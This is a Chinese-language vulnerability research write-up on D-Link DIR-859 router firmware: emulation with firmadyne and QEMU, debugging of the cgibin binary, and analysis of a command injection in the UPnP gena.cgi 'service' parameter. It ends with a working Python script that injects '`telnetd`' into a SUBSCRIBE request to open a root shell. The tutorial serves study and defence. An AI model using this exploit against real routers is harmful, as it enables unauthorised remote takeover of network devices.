一、模拟运行固件
二、程序调试
三、漏洞分析
四、执行exp,获取shell
使用attifyos 中的环境进行模拟时可能会出现各种问题,后来自己搭建环境,可以正常运行。
https://github.com/firmadyne/firmadyne
https://download.qemu.org/qemu-2.5.0.tar.bz2
qemu 建议使用 qemu-2.5.0 版本进行编译安装
在安装之前,请修复 linux-user/elfload.c 中elf_check_ehdr 函数的一个 bug:
插入 && ehdr->e_shentsize == sizeof(struct elf_shdr)
这个条件
修改之前:
/* Verify the portions of EHDR outside of E_IDENT for the target.
This has to wait until after bswapping the header. */
static bool elf_check_ehdr(struct elfhdr *ehdr)
{
return (elf_check_arch(ehdr->e_machine)
&& ehdr->e_ehsize == sizeof(struct elfhdr)
&& ehdr->e_phentsize == sizeof(struct elf_phdr)
&& (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}
修改后:
static bool elf_check_ehdr(struct elfhdr *ehdr)
{
return (elf_check_arch(ehdr->e_machine)
&& ehdr->e_ehsize == sizeof(struct elfhdr)
&& ehdr->e_phentsize == sizeof(struct elf_phdr)
&& ehdr->e_shentsize == sizeof(struct elf_shdr)
&& (ehdr->e_type == ET_EXEC || ehdr->e_type == ET_DYN));
}
编译:
./configure --target-list="mips-linux-user mipsel-linux-user arm-linux-user" --static
sudo make -j8
将 DIR859Ax_FW105b03.bin 固件复制到 firmadyne 目录下
在firmadyne 目录下执行以下命令:
sudo su
rm -rf images*
sh ./reset.sh
sudo -u postgres createdb -O firmadyne firmware
sudo -u postgres psql -d firmware < ./database/schema
./sources/extractor/extractor.py -b Dlink -sql 127.0.0.1 -np -nk "DIR859Ax_FW105b03.bin" images
./scripts/getArch.sh ./images/1.tar.gz # 获取架构信息并保存到数据库中
./scripts/makeImage.sh 1 # 制作镜像文件成文件系统
./scripts/inferNetwork.sh 1 # 自动生成配置仿真环境网卡信息
./scratch/1/run.sh # 运行仿真环境
run-mips-sys.sh
脚本信息如下:
oit@ubuntu:/home/qemu-vmsys/mips$ cat run-mips-sys.sh
sudo qemu-system-mips -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mips_standard.qcow2 -append "root=/dev/sda1 console=ttyS0" -net nic,macaddr=00:0c:29:d4:72:11 -net tap -nographic
其中, msb_mips_gdbserver 是静态的 gdbserver, 之后用于 固件系统中程序的调试。信息如下:
oit@ubuntu:/home/qemu-vmsys/mips$ file ./msb_mips_gdbserver
./msb_mips_gdbserver: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, not stripped
执行脚本启动 mips 系统: run-mips-sys.sh
输入 longin:root Password:root
解包固件:binwalk -Me DIR859Ax_FW105b03.bin
oit@ubuntu:~/tools/Template/dir_859$ binwalk -Me ./DIR859Ax_FW105b03.bin
oit@ubuntu:~/tools/Template/dir_859$ cd _DIR859Ax_FW105b03.bin.extracted/
将跟文件系统 squashfs-root 和 msb_mips_gdbserver 传到 debian-mips系统中:
将 msb_mips_gdbserver 复制到 squashfs-root 目录下:
cp ./msb_mips_gdbserver ./squashfs-root
挂载跟文件系统并启动
root@debian-mips:~#mount -o bind /dev/ ./squashfs-root/dev/
root@debian-mips:~#mount -t proc /proc/ ./squashfs-root/proc/
root@debian-mips:~#chroot ./squashfs-root sh
查看文件系统中运行的进程:
chroot ./squashfs-root shroot@debian-mips:~# chroot ./squashfs-root/ sh
BusyBox v1.14.1 (2016-06-28 10:53:08 CST) built-in shell (msh)
Enter 'help' for a list of built-in commands.
# ps
PID USER VSZ STAT COMMAND
1 0 2660 S init [2]
2 0 0 SW [kthreadd]
3 0 0 SW [ksoftirqd/0]
6 0 0 SW [watchdog/0]
7 0 0 SW< [cpuset]
8 0 0 SW< [khelper]
9 0 0 SW [kdevtmpfs]
10 0 0 SW< [netns]
11 0 0 SW [sync_supers]
12 0 0 SW [bdi-default]
13 0 0 SW< [kintegrityd]
14 0 0 SW< [kblockd]
15 0 0 SW< [ata_sff]
16 0 0 SW< [rpciod]
18 0 0 SW [khungtaskd]
19 0 0 SW [kswapd0]
20 0 0 SWN [ksmd]
21 0 0 SW [fsnotify_mark]
22 0 0 SW< [nfsiod]
23 0 0 SW< [crypto]
26 0 0 SW [scsi_eh_0]
27 0 0 SW [scsi_eh_1]
28 0 0 SW [kworker/u:1]
31 0 0 SW [kworker/u:3]
32 0 0 SW [jbd2/sda1-8]
33 0 0 SW< [ext4-dio-unwrit]
157 0 3408 S udevd --daemon
221 0 0 SW< [kpsmoused]
222 0 0 SW [khubd]
636 0 3344 S udevd --daemon
637 0 3344 S udevd --daemon
1631 0 5160 S dhclient -v -pf /run/dhclient.eth0.pid -lf /var/lib/d
1633 0 3012 S /sbin/rpcbind -w
1677 102 3400 S /sbin/rpc.statd
1689 0 3412 S /usr/sbin/rpc.idmapd
1960 0 29752 S /usr/sbin/rsyslogd -c5
2009 1 2800 S /usr/sbin/atd
2021 0 4536 S /usr/sbin/cron
2167 0 7664 S /usr/sbin/sshd
2345 101 8924 S /usr/sbin/exim4 -bd -q30m
2372 0 2812 S /sbin/getty 38400 tty1
2373 0 2812 S /sbin/getty 38400 tty2
2374 0 2812 S /sbin/getty 38400 tty3
2375 0 2812 S /sbin/getty 38400 tty4
2376 0 2812 S /sbin/getty 38400 tty5
2377 0 2812 S /sbin/getty 38400 tty6
2378 0 4520 S /bin/login --
2379 0 6120 S -bash
2389 0 11144 S sshd: root@pts/0
2391 0 6108 S -bash
2399 0 2588 S /usr/lib/openssh/sftp-server
2583 0 0 SW [kworker/0:1]
2896 0 11012 S sshd: root@notty
2898 0 2588 S /usr/lib/openssh/sftp-server
2937 0 0 SW [kworker/0:0]
3036 0 0 SW [flush-8:0]
3052 0 0 SW [kworker/0:2]
3057 0 856 S sh
3058 0 748 R ps
#
这里测试 /htdocs/cgibin 文件的远程调试( /htdocs/cgibin 后面会用到)
./msb_mips_gdbserver 192.168.126.150:1234 /htdocs/cgibin
对于漏洞分析,参考原文:
https://blog.csdn.net/NOSEC2019/article/details/103823845
根据纰漏,可知远程代码执行漏洞在UPnP请求的代码中。
UPnP是实现智能设备端到端网络连接的结构。它也是一种架构在TCP/IP和HTTP技术之上的,分布式、开放的网络结构,以使得在联网的设备间传递控制和数据。UPnP 技术实现了 控制点、 设备和 服务之间通讯的支持,并且设备和相关服务的也使用XML定义并且公布出来。使用UPnP,设备可以动态加入网络,自动获得一个IP地址,向其他设备公布它的能力或者获知其他设备的存在和服务,所有这些过程都是自动完成的,此后设备能够彼此直接通讯。
UPnP不需要设备驱动程序,因此使用UPnP建立的网络是介质无关的。同时UPnP使用标准的TCP/IP和网络协议,使它能够无缝的融入现有网络。构造UPnP应用程序时可以使用任何语言,并在任何操作系统平台上编译运行。对于设备的描述,使用HTML表单表述设备控制界面。它既允许设备供应商提供基于浏览器的用户界面和编程控制接口,也允许开发人员定制自己的设备界面。
在满足一定前置条件情况下,二进制可执行文件/htdocs/cgibin中的genacgi_main()函数包含了可远程执行代码的漏洞。
使用 ghidra 查看 genacgi_main() 函数的反编译代码:
undefined4 genacgi_main(void)
{
char *pcVar1;
char *env_http_callback;
char *__s1;
char *env_http_nt;
char *env_REMOTE_ADDR;
size_t sVar2;
__pid_t pid;
__pid_t _Var3;
char *pcVar4;
undefined4 uVar5;
int iVar6;
int iVar7;
int iVar8;
char buf8 [8];
char acStack528 [500];
undefined *local_18;
local_18 = &_gp;
pcVar4 = getenv("REQUEST_METHOD");
if (pcVar4 == (char *)0x0) {
return 0xffffffff;
}
/* getenv */
uVar5 = (**(code **)(local_18 + -0x7c90))("REQUEST_URI");
/* strchr */
iVar6 = (**(code **)(local_18 + -0x7f78))(uVar5,0x3f);
if (iVar6 == 0) {
return 0xffffffff;
}
/* strncmp */
iVar7 = (**(code **)(local_18 + -0x7d44))(iVar6,"?service=",9);
if (iVar7 != 0) {
return 0xffffffff;
}
/* strcasecmp */
iVar7 = (**(code **)(local_18 + -0x7d30))(pcVar4,"SUBSCRIBE");
uri_service = iVar6 + 9;
if (iVar7 != 0) {
iVar6 = (**(code **)(local_18 + -0x7d30))(pcVar4,"UNSUBSCRIBE");
if (iVar6 != 0) {
return 0xffffffff;
}
pcVar4 = getenv("SERVER_ID");
if ((((pcVar4 == (char *)0x0) || (pcVar4 = getenv("HTTP_SID"), pcVar4 == (char *)0x0)) ||
(pcVar4 = getenv("HTTP_CALLBACK"), pcVar4 != (char *)0x0)) ||
(pcVar4 = getenv("HTTP_NT"), pcVar4 != (char *)0x0)) {
cgibin_print_http_status(400,0x420554,0x420554);
}
else {
pcVar4 = getenv("SERVER_ID");
getenv("HTTP_SID");
sprintf(acStack528,"%s\nINF_UID=%s\nSERVICE=%s\nMETHOD=UNSUBSCRIBE\nSID=%s\n",
"/htdocs/upnp/run.NOTIFY.php",pcVar4);
xmldbc_ephp(0,0,acStack528,stdout);
}
return 0;
}
env_server_id = getenv("SERVER_ID");
env_http_sid = getenv("HTTP_SID");
env_http_callback = getenv("HTTP_CALLBACK");
env_http_timeout = getenv("HTTP_TIMEOUT");
env_http_nt = getenv("HTTP_NT");
env_REMOTE_ADDR = getenv("REMOTE_ADDR");
if (env_http_sid == (char *)0x0) {
iVar7 = strcmp(env_http_nt,"upnp:event");
uVar5 = 0x19c;
if ((iVar7 == 0) && (env_http_callback != (char *)0x0)) {
iVar7 = strcasecmp(env_http_timeout,"Second-infinite");
time_out = 0;
if (iVar7 != 0) {
iVar7 = strncasecmp(env_http_timeout,"Second-",7);
uVar5 = 400;
if (iVar7 != 0) goto LAB_004103d8;
time_out = atoi(env_http_timeout + 7);
}
sVar2 = strlen(env_http_callback);
if (env_http_callback[sVar2 - 1] == '>') {
env_http_callback[sVar2 - 1] = '\0';
}
env_http_callback = env_http_callback + (uint)(*env_http_callback == '<');
iVar7 = strncmp(env_http_callback,"http://",7);
uVar5 = 0x19c;
if (iVar7 == 0) {
http_callbak_uri = strchr(env_http_callback + 7,0x2f);
if (http_callbak_uri != (char *)0x0) {
*http_callbak_uri = '\0';
pid = getpid();
sprintf(buf8,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh"
,"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out
,env_REMOTE_ADDR,"/var/run",uri_service,pid);
xmldbc_ephp(0,0,buf8,stdout);
fflush(stdout);
_Var3 = getpid();
sprintf(buf8,"NOTIFY:0:sh %s/%s_%d.sh","/var/run",iVar6,_Var3);
xmldbc_timer(0,0,buf8);
return 0;
}
uVar5 = 0x19c;
}
}
}
else {
uVar5 = 400;
if ((env_http_callback == (char *)0x0) && (env_http_nt == (char *)0x0)) {
iVar7 = strcasecmp(__s1,"Second-infinite");
iVar8 = 0;
if (iVar7 != 0) {
iVar7 = strncasecmp(__s1,"Second-",7);
uVar5 = 400;
if (iVar7 != 0) goto LAB_004103d8;
iVar8 = atoi(__s1 + 7);
}
sprintf(buf8,
"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nSID=%s\nTIMEOUT=%d\nSHELL_FILE=%s/%s.sh"
,"/htdocs/upnp/run.NOTIFY.php",pcVar4,iVar6,pcVar1,iVar8,"/var/run",iVar6);
xmldbc_ephp(0,0,buf8,stdout);
return 0;
}
}
LAB_004103d8:
cgibin_print_http_status(uVar5,0x420554,0x420554);
return 0;
}
在反编译代码中,sprintf()设置了一个包含所有值的缓冲区,其中函数参数 ?service=
及其值,随后由 xmldbc_ephp()
函数(最后调用send())将“buffer8”中包含的数据发送给PHP。
sprintf(buf8,"%s\nMETHOD=SUBSCRIBE\nINF_UID=%s\nSERVICE=%s\nHOST=%s\nURI=/%s\nTIMEOUT=%d\nREMOTE=%s\nSHELL_FILE=%s/%s_%d.sh" ,
"/htdocs/upnp/run.NOTIFY.php",env_server_id,uri_service,env_http_callback + 7, http_callbak_uri+ 1,time_out ,env_REMOTE_ADDR,"/var/run",uri_service,pid);
xmldbc_ephp(0,0,buf8,stdout);
根据反汇编代码,可以看出,sprintf()
用于连接多个变量的值,填充一个缓冲区,设置要传递的新变量,其中SHELL_FILE
将以格式%s_%d.sh进行传递,主要用于为新的shell脚本命名。
根据执行 sprintf()
成立的条件,调试时需要设置以下环境变量
export REQUEST_URI="SUBSCRIBE /gena.cgi?service=\`telnetd\`"
export REMOTE_ADDR="192.168.126.150"
export REQUEST_METHOD="SUBSCRIBE"
export CONTENT_TYPE="application/x-www-form-urlencoded"
export HTTP_COOKIE="aaaaaaaa"
export HTTP_TIMEOUT="Second-1800"
export HTTP_NT="upnp:event"
export HTTP_CALLBACK="/"
修复环境:
mkdir -p /var/htdocs/upnp/LAN-1/
ln -s /htdocs/cgibin /var/htdocs/upnp/LAN-1/gena.cgi
调试程序,执行到 sprintf:
./gdbserver_msb 192.168.126.150:1234 /var/htdocs/upnp/LAN-1/gena.cgi
数据被复制到“buffer8”缓冲区后,内存中的数据设置如下:
缓冲区中的数据,经过xmldbc_ephp
处理,由PHP文件run.NOTIFY.php进行处理,如下:
void xmldbc_ephp(undefined4 param_1,undefined4 param_2,char *pbuf8,int stdout)
{
size_t buf_size;
buf_size = strlen(pbuf8);
buf_size._2_2_ = (short)buf_size;
FUN_0041420c(param_1,10,param_2,pbuf8,buf_size._2_2_ + 1,stdout);
return;
}
undefined4
FUN_0041420c(undefined4 param_1,uint param_2,undefined4 param_3,void *pbuf,ushort buf_size,
int in_stdout)
{
int fd;
int iVar1;
undefined4 uVar2;
fd = _connect();
uVar2 = 0xffffffff;
if (-1 < fd) {
iVar1 = FUN_00413810(fd,(short)param_2,param_3,pbuf,buf_size);
uVar2 = 0xffffffff;
if (-1 < iVar1) {
if (in_stdout == 0) {
in_stdout = stdout;
}
FUN_00414094(fd,in_stdout);
uVar2 = 0;
}
close(fd);
}
return uVar2;
}
int _connect(char *pcParm1)
{
int __fd;
int iVar1;
int iVar2;
sockaddr local_80 [7];
__fd = socket(1,2,0);
if (__fd < 0) {
iVar2 = -1;
}
else {
fcntl(__fd,2,1);
if (pcParm1 == (char *)0x0) {
pcParm1 = "/var/run/xmldb_sock";
}
local_80[0].sa_family = 1;
snprintf(local_80[0].sa_data,0x6c,"%s",pcParm1);
iVar1 = connect(__fd,local_80,0x6e);
iVar2 = __fd;
if (iVar1 < 0) {
iVar2 = -1;
close(__fd);
}
}
return iVar2;
}
流程: buf8->xmldbc_ephp->FUN_0041420c->_connect-> connect
run.NOTIFY.php
文件
include "/htdocs/phplib/upnp/xnode.php";
include "/htdocs/upnpinc/gvar.php";
include "/htdocs/upnpinc/gena.php";
$gena_path = XNODE_getpathbytarget($G_GENA_NODEBASE, "inf", "uid", $INF_UID, 1);
$gena_path = $gena_path."/".$SERVICE;
GENA_subscribe_cleanup($gena_path);
/* IGD services */
if ($SERVICE == "L3Forwarding1") $php = "NOTIFY.Layer3Forwarding.1.php";
else if ($SERVICE == "OSInfo1") $php = "NOTIFY.OSInfo.1.php";
else if ($SERVICE == "WANCommonIFC1") $php = "NOTIFY.WANCommonInterfaceConfig.1.php";
else if ($SERVICE == "WANEthLinkC1") $php = "NOTIFY.WANEthernetLinkConfig.1.php";
else if ($SERVICE == "WANIPConn1") $php = "NOTIFY.WANIPConnection.1.php";
/* WFA services */
else if ($SERVICE == "WFAWLANConfig1") $php = "NOTIFY.WFAWLANConfig.1.php";
if ($METHOD == "SUBSCRIBE")
{
if ($SID == "")
GENA_subscribe_new($gena_path, $HOST, $REMOTE, $URI, $TIMEOUT, $SHELL_FILE, "/htdocs/upnp/".$php, $INF_UID);
else
GENA_subscribe_sid($gena_path, $SID, $TIMEOUT);
}
else if ($METHOD == "UNSUBSCRIBE")
{
GENA_unsubscribe($gena_path, $SID);
}
?>
根据环境的设置,该脚本会调用PHP 函数 GENA_subscribe_new()
,并传递cgibin程序中genacgi_main()函数获得的变量,还包括变量SHELL_FILE
。
根据搜索,可知 GENA_subscribe_new()
定义在 gena.php
文件中
gena.php
文件:
include "/htdocs/phplib/xnode.php";
include "/htdocs/phplib/trace.php";
include "/htdocs/phplib/phyinf.php";
function GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $sid)
{
$inf_path = XNODE_getpathbytarget("", "inf", "uid", $inf_uid, 0);
if ($inf_path=="")
{
TRACE_debug("can't find inf_path by $inf_uid=".$inf_uid."!");
return "";
}
$phyinf = PHYINF_getifname(query($inf_path."/phyinf"));
if ($phyinf == "")
{
TRACE_debug("can't get phyinf by $inf_uid=".$inf_uid."!");
return "";
}
$upnpmsg = query("/runtime/upnpmsg");
if ($upnpmsg == "") $upnpmsg = "/dev/null";
fwrite(w, $shell_file,
"#!/bin/sh\n".
'echo "[$0] ..." > '.$upnpmsg."\n".
"xmldbc -P ".$target_php.
" -V INF_UID=".$inf_uid.
" -V HDR_URL=".$uri.
" -V HDR_HOST=".$host.
" -V HDR_SID=".$sid.
" -V HDR_SEQ=0".
" | httpc -i ".$phyinf." -d \"".$host."\" -p TCP > ".$upnpmsg."\n"
);
fwrite(a, $shell_file, "rm -f ".$shell_file."\n");
}
/***************************************************************/
/* construct the NOTIFY request event header */
function GENA_notify_req_event_hdr($url, $host, $content_len, $sid, $seq, $outputfile)
{
if ($outputfile!="")
{
fwrite("w", $outputfile, "NOTIFY ".$url." HTTP/1.1\r\n");
fwrite("a", $outputfile, "HOST: ".$host."\r\n");
fwrite("a", $outputfile, "CONTENT-TYPE: text/xml\r\n");
fwrite("a", $outputfile, "CONTENT-LENGTH: ".$content_len."\r\n");
fwrite("a", $outputfile, "NT: upnp:event\r\n");
fwrite("a", $outputfile, "NTS: upnp:propchange\r\n");
fwrite("a", $outputfile, "SID: ".$sid."\r\n");
fwrite("a", $outputfile, "SEQ: ".$seq."\r\n\r\n");
}
else
{
echo "NOTIFY ".$url." HTTP/1.1\r\n";
echo "HOST: ".$host."\r\n";
echo "CONTENT-TYPE: text/xml\r\n";
echo "CONTENT-LENGTH: ".$content_len."\r\n";
echo "NT: upnp:event\r\n";
echo "NTS: upnp:propchange\r\n";
echo "SID: ".$sid."\r\n";
echo "SEQ: ".$seq."\r\n\r\n";
}
}
function GENA_subscribe_http_resp($sid, $timeout)
{
/* Generate HTTP header */
echo "HTTP/1.1 200 OK\r\n";
echo "SID: ".$sid."\r\n";
echo "TIMEOUT: ";
if ($timeout == 0) echo "Second-infinite";
else echo "Second-".$timeout;
echo "\r\n\r\n";
}
function GENA_subscribe_cleanup($node_base)
{
$curr_time = query("/runtime/device/uptime");
anchor($node_base);
$count = query("subscription#");
while ($count > 0)
{
$tout = query("subscription:".$count."/timeout");
if ($tout > 0 && $tout < $curr_time) del("subscription:".$count);
$count--;
}
}
function GENA_subscribe_new($node_base, $host, $remote, $uri, $timeout, $shell_file, $target_php, $inf_uid)
{
anchor($node_base);
$count = query("subscription#");
$found = 0;
/* find subscription index & uuid */
foreach ("subscription")
{
if (query("host")==$host && query("uri")==$uri) {$found = $InDeX; break;}
}
if ($found == 0)
{
$index = $count + 1;
$new_uuid = "uuid:".query("/runtime/genuuid");
}
else
{
$index = $found;
$new_uuid = query("subscription:".$index."/uuid");
}
/* get timeout */
if ($timeout==0 || $timeout=="") {$timeout = 0; $new_timeout = 0;}
else {$new_timeout = query("/runtime/device/uptime") + $timeout;}
/* set to nodes */
set("subscription:".$index."/remote", $remote);
set("subscription:".$index."/uuid", $new_uuid);
set("subscription:".$index."/host", $host);
set("subscription:".$index."/uri", $uri);
set("subscription:".$index."/timeout", $new_timeout);
set("subscription:".$index."/seq", "1");
GENA_subscribe_http_resp($new_uuid, $timeout);
GENA_notify_init($shell_file, $target_php, $inf_uid, $host, $uri, $new_uuid);
}
function GENA_subscribe_sid($node_base, $sid, $timeout)
{
...
}
function GENA_unsubscribe($node_base, $sid)
{
...
}
?>
从GENA_subscribe_new
功能上分析可知函数并不修改 $shell_file 变量。GENA_subscribe_new
传递 $shell_file 到 GENA_notify_init
函数,也是shell_file
最终处理的地方:通过调用 PHP 函数 fwrite()
创建新文件。
fwrite()
函数被使用了两次:
第一次创建文件,文件名由 可控的 SHELL_FILE
变量(uri_service)以及getpid()
组成:
第二次调用fwrite()
向文件中添加 删除命令 "rm -f ".$shell_file."\n"
,(漏洞点触发原因):
进行攻击时,只需要插入一个反引号包裹的系统命令,将其注入到shell 脚本中。在脚本执行 rm
命令时因遇到 反引号而失败,继续执行引号里面的系统命令,从而达到远程命令执行漏洞的触发。
所以,只要控制好 "/gena.cgi?service=shell_file"中 shell_file的内容为 反引号包裹的系统命令,就可以触发漏洞。
import socket
import os
from time import sleep
def httpSUB(server, port, shell_file):
# print('\n[*] Connection {host}:{port}').format(host=server, port=port)
con = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
request = "SUBSCRIBE /gena.cgi?service=" + str(shell_file) + " HTTP/1.0\n"
request += "Host: " + str(server) + str(port) + "\n"
request += "Callback: \n"
request += "NT: upnp:event\n"
request += "Timeout: Second-1800\n"
request += "Accept-Encoding: gzip, deflate\n"
request += "User-Agent: gupnp-universal-cp GUPnP/1.0.2 DLNADOC/1.50\n\n"
sleep(1)
print('[*] Sending Payload')
con.connect((socket.gethostbyname(server),port))
con.send(request.encode())
results = con.recv(4096)
sleep(1)
print('[*] Running Telnetd Service')
serverInput = raw_input('IP Router: ')
portInput = 49152
httpSUB(serverInput, portInput, '`telnetd`')
通过漏洞,开启telnetd服务:
执行 telnetd 192.168.0.1获取shell
https://blog.csdn.net/NOSEC2019/article/details/103823845